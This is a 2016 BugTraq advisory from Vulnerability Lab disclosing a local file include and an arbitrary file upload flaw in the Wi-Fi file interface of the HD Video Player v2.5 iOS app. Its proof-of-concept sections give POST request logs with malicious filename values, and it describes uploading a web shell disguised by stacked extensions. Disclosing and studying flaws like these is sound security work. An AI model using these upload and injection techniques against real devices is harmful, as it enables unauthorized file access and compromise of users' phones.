BugTraq
HD Video Player v2.5 iOS - Multiple Web Vulnerabilities Feb 12 2016 10:33AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
HD Video Player v2.5 iOS - Multiple Web Vulnerabilities

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1719

Release Date:
=============
2016-02-11

Vulnerability Laboratory ID (VL-ID):
====================================
1719

Common Vulnerability Scoring System:
====================================
7.3

Product & Service Introduction:
===============================
Video Player Pro is one of the most popular and powerful player for all iPhone devices. It is easiest iPhone phone player. This player support many formats and can
play any video,film,music,MTV that stored on your phone. HD Player Pro - the best choice of phone player. Can play any type video music and pdf txt word excel.

(Copy of the Homepage: https://itunes.apple.com/us/app/hd-video-player-media-player/id983123556
)

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple web vulnerabilities in the HD Video Player v2.5 iOS mobile web-application (wifi).

Vulnerability Disclosure Timeline:
==================================
2016-02-11: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Hanlin Wang
Product: HD Video Player PRO - iOS (Web-Application) [Wifi] 2.5

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi).
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `file uploader` module. Remote attackers are able to inject own files with
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path
include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the
lfi payload by usage of the wifi interface or local file sync function. Attackers are also able to exploit the filename issue in
combination with persistent injected script code to execute different malicious attack requests. The attack vector is located on
the application-side of the wifi service and the request method to inject is POST.

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] File Uploader

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000)

1.2
An arbitrary file upload web vulnerability has been discovered in the HD Video Player v2.5 iOS mobile web-application (wifi).
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `file uploader` module. Remote attackers are able to upload a php or js web-shell by a rename of the
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file
extension and can access the webshell with elevated access rights to execute.

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.

Request Method(s):
[+] [POST]

Vulnerable Module(s):
[+] Upload

Vulnerable Parameter(s):
[+] filename (multiple extensions)

Affected Module(s):
[+] Index File Dir Listing (http://localhost:8083/ or http://localhost:20000)

Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8083/./[LOCAL FILE INCLUDE VULNERABILITY!]

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8083/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[1004] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8083]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8083/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------25916242948566
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8083/%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E*.png Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[538] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8083]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8083/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[538]
Date[Mi., 10 Feb. 2016 14:05:38 GMT]

Vulnerable Source: File Dir Index Listing
<td bgcolor="#87CEEB"><a href="./[LOCAL FILE INCLUDE VULNERABILITY!]">./[LOCAL FILE INCLUDE VULNERABILITY!]</a> ( 0.5 Kb)<br>
<a href="<./[LOCAL FILE INCLUDE VULNERABILITY!]"><./[LOCAL FILE INCLUDE VULNERABILITY!]</a> ( 0.5 Kb)<br />
<a href="BF.db">BF.db</a> ( 40.0 Kb)<br />
<a href="umengrt/">umengrt/</a> ( 0.1 Kb)<br />

1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8083/2.png.js.html.php.aspx.html

--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8083/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[1004] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8083]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8083/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------25916242948566
Content-Disposition: form-data; name="file"; filename="2.png.js.html.php.aspx.html.png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8083/2.png.js.html.php.aspx.html.png Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[538] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8083]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8083/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[538]
Date[Mi., 10 Feb. 2016 14:05:38 GMT]

Vulnerable Source: File Dir Index Listing
<td bgcolor="#87CEEB"><a href="2.png.js.html.php.aspx.html.png">2.png.js.html.php.aspx.html.png</
a> ( 0.5 Kb)<br>
<a href="<2.png.js.html.php.aspx.html.png"><2.png.js.html.php.aspx.html.png
</a> ( 0.5 Kb)<br />
<a href="BF.db">BF.db</a> ( 40.0 Kb)<br />

Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.4)

1.2
The security risk of the arbitrary file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.3)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research (at) vulnerability-lab (dot) com [email concealed]) [www.vulnerability-lab.com]

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=========================
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